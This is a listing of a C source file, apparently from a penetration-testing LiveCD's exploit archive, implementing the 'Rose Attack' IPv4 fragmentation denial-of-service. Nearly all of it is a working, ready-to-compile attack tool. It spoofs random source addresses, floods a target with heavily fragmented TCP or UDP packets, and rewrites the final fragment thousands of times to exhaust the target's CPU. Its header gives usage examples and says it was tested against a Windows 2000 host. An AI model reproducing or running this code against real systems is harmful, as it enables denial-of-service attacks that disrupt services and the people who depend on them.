home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / NewDawn4.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  369 lines
  1. /*-------------------------------------------------------------*/
  2. /*
  3.   Implementation of Rose Attack described by Gandalf gandalf at digital.net
  4.   Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack"
  5.  
  6.   NewDawn4.c written by Ken Hollis based on the code rose.c
  7.   written by Laurent Constantin and NewDawn.c and NewDawn2.c 
  8.   written by chuck modified from large IGMP attack by Kox by 
  9.   Coolio (coolio (at) k-r4d.com)
  10.  
  11.   Program allows choice of TCP or UDP, number of packets to fragment, number
  12.   of fragments per packet and number of times the last fragment is
  13.   rewritten.
  14.  
  15.   Based on a conversation where it was mentioned that a highly fragmented
  16.   packet would cause high CPU utilization if the last fragment was written
  17.   over and over again.
  18.  
  19.   As chuck says, death by a thousand cuts.
  20.  
  21.   NewDawn4 allows smaller fragments (8 bytes) to be sent to the host.  See:
  22.   http://digital.net/~gandalf/Rose_Frag_Attack_Explained.htm
  23.   
  24.  Usage : ./NewDawn4 type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]
  25.  Example: ./NewDawn4 1 1.2.3.4 80 5 9999 99999999 4080 2
  26.    type      : 1=tcp, 2=udp
  27.    ipaddress : address to test
  28.    port      : optional port number (0 means random)
  29.    NumP      : Number of packets to fragment (less than 1000)
  30.    NumT      : Number of times last fragment is rewritten
  31.    NumR      : Number of times to run test
  32.    NumF      : Number of fragments per packet
  33.    NumD      : Delta between fragements.  2 = 8 bytes blank
  34.                16 bytes total between fragments (8 bytes 
  35.            payload + 8 bytes blank = 16 bytes),
  36.                5 = 32 bytes blank (8 bytes payload + 32 bytes
  37.            blank = 40 bytes total = 5 * 8).
  38.  
  39.   Library netwib must be installed:
  40.     http://www.laurentconstantin.com/en/netw/netwib/
  41.     http://go.to/laurentconstantin
  42.  
  43.   To compile and run :
  44.     gcc -Wall -o NewDawn4 NewDawn4.c `netwib-config -lc`
  45.     ./NewDawn4 1 www.example.com 80
  46.  
  47.     The command:
  48.     ./NewDawn4 1 10.12.14.16
  49.     Is equivalent to:
  50.     ./NewDawn4 1 10.12.14.16 0 5 9999 99999999 1021 8
  51.     Where:
  52.     ./NewDawn4 = Program Name
  53.     1 = TCP
  54.     10.12.14.16 = IP Address
  55.     0 = Random port numbers
  56.     5 = Five packets to fragment before staring next set of packets
  57.     9999 = The number of times to rewrite the last fragment of
  58.            the five packets
  59.     99999999 = The number of times to run this entire attack
  60.     1021 = The number of middle fragments to write.
  61.     8 = 64 bytes, 8 byte data + 56 bytes blank fragments (8 bytes * 8 = 64)
  62.  
  63.   This was successfully tested with netwib 5.12.0, under Linux
  64.   to test a Windows 2000 host. Local network is Ethernet.
  65. */
  66.  
  67. /*-------------------------------------------------------------*/
  68. // Test large number of packets
  69. #define NUM_PACKETS 1000
  70. #define NUM_LAST 9999
  71. #define NUM_RUN 99999999
  72. #define NUM_FRAG 8170
  73. #define NUM_DELTA 8
  74.  
  75. #include <stdlib.h>
  76. #include <stdio.h>
  77. #include <netwib.h>
  78.  
  79. /*-------------------------------------------------------------*/
  80. typedef enum {
  81.   ROSE_TYPE_TCP = 1,
  82.   ROSE_TYPE_UDP = 2
  83. } rose_type;
  84.  
  85. /*-------------------------------------------------------------*/
  86. typedef struct {
  87.   rose_type type;
  88.   netwib_ip ipad;
  89.   netwib_port port;
  90.   netwib_bool display;
  91.   netwib_buf buf;
  92.   netwib_io *pio;
  93. } rose_params;
  94.  
  95. /*-------------------------------------------------------------*/
  96. static netwib_err rose_loop(rose_params *prp, int npack, int nrew, 
  97.         int nrun, int nfrag, int ndelta)
  98. {
  99.   netwib_iphdr ipheader, ipstore[NUM_PACKETS];
  100.   netwib_tcphdr tcpheader, tcpstore[NUM_PACKETS];
  101.   netwib_udphdr udpheader, udpstore[NUM_PACKETS];
  102.   netwib_buf payload;
  103.   netwib_uint32 numsent = 0;
  104.   int i, j, nrun2;
  105.  
  106. printf("Packets %d Rewrite %d Runs %d Fragment packet to byte %d Delta %d\n\r",
  107.            npack, nrew, nrun, nfrag, ndelta);
  108.   
  109.   for (nrun2=0; nrun2<nrun; nrun2++) {
  110.  
  111.     for (i=0; i<npack; i++){
  112.     netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipstore[i]));
  113.     netwib_er(netwib_uint32_init_rand_all(&ipstore[i].src.ipvalue.ip4));
  114.     switch(prp->type) {
  115.     case ROSE_TYPE_TCP :
  116.         netwib_er(netwib_tcphdr_initdefault(&tcpstore[i]));
  117.         netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].src));
  118.         if (prp->port == 0) {
  119.           netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].dst));
  120.     } else {
  121.       tcpstore[i].dst = prp->port;
  122.         }
  123.         break;
  124.     case ROSE_TYPE_UDP :
  125.     netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].src));
  126.     if (prp->port == 0) {
  127.       netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].dst));
  128.         } else {
  129.           udpstore[i].dst = prp->port;
  130.         }
  131.     break;
  132.        }
  133.     }
  134.     
  135.     for (i=0; i<npack; i++){
  136.     /* construct first fragment */
  137.     netwib__buf_reinit(&prp->buf);
  138.     ipheader = ipstore[i];
  139.     ipheader.header.ip4.morefrag = NETWIB_TRUE;
  140.     ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */
  141.     ipheader.src.iptype = NETWIB_IPTYPE_IP4;
  142.     ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
  143.     ipheader.dst = prp->ipad;
  144.     switch(prp->type) {
  145.     case ROSE_TYPE_TCP :
  146.       tcpheader = tcpstore[i];
  147.       tcpheader.src = tcpstore[i].src;
  148.       tcpheader.dst = tcpstore[i].dst;
  149.       tcpheader.ack = NETWIB_TRUE;
  150.       netwib_er(netwib_buf_init_ext_text("1234567890123456789012345678",
  151.                                          &payload));
  152.       netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload,
  153.                                           &prp->buf));
  154.       break;
  155.     case ROSE_TYPE_UDP :
  156.       netwib_er(netwib_udphdr_initdefault(&udpheader));
  157.       udpheader.src = udpstore[i].src;
  158.       udpheader.dst = udpstore[i].dst;
  159.       netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
  160.                                          &payload));
  161.       netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload,
  162.                                             &prp->buf));
  163.       break;
  164.     }
  165.     if (prp->display) {
  166.       netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
  167.                                       NETWIB_ENCODETYPE_DUMP));
  168.     }
  169.     netwib_er(netwib_io_write(prp->pio, &prp->buf));
  170.     
  171.     /* construct middle fragments */
  172.     ipheader.header.ip4.offsetfrag = 0x0008;
  173.     for(ipheader.header.ip4.offsetfrag = 0x0008 ; 
  174.     ipheader.header.ip4.offsetfrag< nfrag; 
  175.     ipheader.header.ip4.offsetfrag = ipheader.header.ip4.offsetfrag + 
  176.                                      ndelta){
  177.     netwib__buf_reinit(&prp->buf);
  178.     switch(prp->type) {
  179.     case ROSE_TYPE_TCP :
  180.       ipheader.protocol = NETWIB_IPPROTO_TCP;
  181.       netwib_er(netwib_buf_init_ext_text("12345678",
  182.                               &payload));
  183.       break;
  184.     case ROSE_TYPE_UDP :
  185.       ipheader.protocol = NETWIB_IPPROTO_UDP;
  186.       netwib_er(netwib_buf_init_ext_text("12345678",
  187.                               &payload));
  188.       break;
  189.     }
  190.     netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
  191.     if (prp->display) {
  192.     netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
  193.                     NETWIB_ENCODETYPE_DUMP));
  194.     }
  195.     netwib_er(netwib_io_write(prp->pio, &prp->buf));
  196.     }
  197.  
  198.     }
  199.  
  200.     printf("Rewriting %d packets last fragment %d times\r\n",
  201.             npack,nrew); fflush(stdout);
  202.  
  203.     /* construct last fragment and rewrite NUM_LAST times */
  204.     for (j=0;j<nrew;j++){
  205.     netwib__buf_reinit(&prp->buf);
  206.     for (i=0; i<npack; i++){
  207.     ipheader = ipstore[i];
  208.     ipheader.src.iptype = NETWIB_IPTYPE_IP4;
  209.     ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
  210.     ipheader.dst = prp->ipad;
  211.     switch(prp->type) {
  212.     case ROSE_TYPE_TCP :
  213.       tcpheader = tcpstore[i];
  214.       tcpheader.src = tcpstore[i].src;
  215.       tcpheader.dst = tcpstore[i].dst;
  216.       tcpheader.ack = NETWIB_TRUE;
  217.       ipheader.protocol = NETWIB_IPPROTO_TCP;
  218.     break;
  219.     case ROSE_TYPE_UDP :
  220.       udpheader.src = udpstore[i].src;
  221.       udpheader.dst = udpstore[i].dst;
  222.       ipheader.protocol = NETWIB_IPPROTO_UDP;
  223.     break;
  224.     }
  225.     
  226.     netwib__buf_reinit(&prp->buf);
  227.     ipheader.header.ip4.morefrag = NETWIB_FALSE;
  228.     ipheader.header.ip4.offsetfrag = 0x1FF0;
  229.     netwib_er(netwib_buf_init_ext_text("1234567890123456",
  230.                                        &payload));
  231.     netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
  232.     if (prp->display) {
  233.       netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
  234.                                       NETWIB_ENCODETYPE_DUMP));
  235.        }
  236.     netwib_er(netwib_io_write(prp->pio, &prp->buf));
  237.     }
  238.     }
  239.     /* dot display */
  240.     if (!prp->display && (numsent%100)==0) {
  241.       printf("."); fflush(stdout);
  242.     }
  243.     numsent++;
  244.   }
  245.  
  246.   return(NETWIB_ERR_OK);
  247. }
  248.  
  249. /*-------------------------------------------------------------*/
  250. int main(int argc, char* argv[])
  251. {
  252.   rose_params rp;
  253.   netwib_buf ipstr;
  254.   netwib_err ret;
  255.   int npack, nrew, nrun, nfrag, ndelta;
  256.  
  257.   /* initialize netwib */
  258.   netwib_init();
  259.  
  260.   /* check parameter count */
  261.   if (argc < 3 || argc > 9) {
  262.     printf("Usage  : %s type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]\n", argv[0]);
  263.     printf("Example: %s 1 1.2.3.4 80 5 9999 99999999 1021 8\n", argv[0]);
  264.     printf(" type      : %d=tcp, %d=udp\n", ROSE_TYPE_TCP, ROSE_TYPE_UDP);
  265.     printf(" ipaddress : address to test\n");
  266.     printf(" port      : optional port number (0 means random)\n");
  267.     printf(" NumP      : Number of packets to fragment\n");
  268.     printf(" NumT      : Number of times last fragment is rewritten\n");
  269.     printf(" NumR      : Number of times to run test\n");
  270.     printf(" NumF      : Number of fragments per packet\n");
  271.     printf(" NumD      : Delta between fragements.\n");
  272.    return(1);
  273.   }
  274.  
  275.   /* first parameter is type */
  276.   rp.type = atoi(argv[1]);
  277.   switch(rp.type) {
  278.   case ROSE_TYPE_TCP :
  279.   case ROSE_TYPE_UDP :
  280.     break;
  281.   default :
  282.     printf("First parameter must be 1 or 2 (currently=%s)\n", argv[1]);
  283.     return(2);
  284.   }
  285.  
  286.   /* second parameter is IP address */
  287.   netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr));
  288.   ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad);
  289.   if (ret != NETWIB_ERR_OK) {
  290.     printf("Second parameter must be an IP or hostname (currently=%s)\n",
  291.            argv[2]);
  292.     return(3);
  293.   }
  294.  
  295.   /* third parameter is port number */
  296.   rp.port = 0;
  297.   if (argc > 3) {
  298.     rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */
  299.   }
  300.  
  301.   /* fourth parameter is number of packets to fragment */
  302.   npack = 5;
  303.   if (argc > 4) {
  304.     npack = atoi(argv[4]); /* on error, set to 1 */
  305.     }
  306.   if (npack < 1) { npack = 1; }
  307.   if (npack > 1000) { npack = 1000; }
  308.   
  309.   /* fifth parameter is number of times packet is rewritten */
  310.   nrew = NUM_LAST;
  311.   if (argc > 5) {
  312.     nrew = atoi(argv[5]); /* on error, set to 0, but that's ok */
  313.     }
  314.   
  315.   /* sixth parameter is number of times to run the test */
  316.   nrun = NUM_RUN;
  317.   if (argc > 6) {
  318.     nrun = atoi(argv[6]); /* on error, set to 0, but that's ok */
  319.     }
  320.   
  321.   /* seventh parameter is number of fragments per packet */
  322.   nfrag = NUM_FRAG;
  323.   if (argc > 7) {
  324.     nfrag = atoi(argv[7]); 
  325.     }
  326.   if (nfrag < 1) { nfrag = 1; }
  327.  
  328.   /* eighth parameter is delta between fragments */
  329.     ndelta = NUM_DELTA;
  330.     if (argc > 8) {
  331.       ndelta = atoi(argv[8]);
  332.       }
  333.  
  334.   /* Make sure that the fragments do not exceed 8170 */
  335.  
  336.     nfrag = (nfrag * ndelta) + 8;
  337.     if (nfrag > 8170) { nfrag = 8170; }
  338.  
  339.   printf("%s %d %s %d %d %d %d %d ndelta = %d\n\r",
  340.           argv[0], rp.type, argv[2], rp.port, npack, nrew, nrun, 
  341.       nfrag / 8, ndelta);
  342.  
  343.   /* set to NETWIB_TRUE to activate display */
  344.   rp.display = NETWIB_FALSE;
  345.  
  346.   /* instead of allocating memory each time, just use this permanent buffer */
  347.   netwib_er(netwib_buf_init_mallocdefault(&rp.buf));
  348.  
  349.   /* initialize spoofing feature */
  350.   netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW,
  351.                                     &rp.pio));
  352.  
  353.   /* main function */
  354.   ret = rose_loop(&rp, npack, nrew, nrun, nfrag, ndelta);
  355.   if (ret != NETWIB_ERR_OK) {
  356.     netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL));
  357.     return(ret);
  358.   }
  359.  
  360.   /* close netwib */
  361.   netwib_er(netwib_io_close(&rp.pio));
  362.   netwib_er(netwib_buf_close(&rp.buf));
  363.   netwib_close();
  364.  
  365.   return(0);
  366. }
  367.  
  368.  
  369.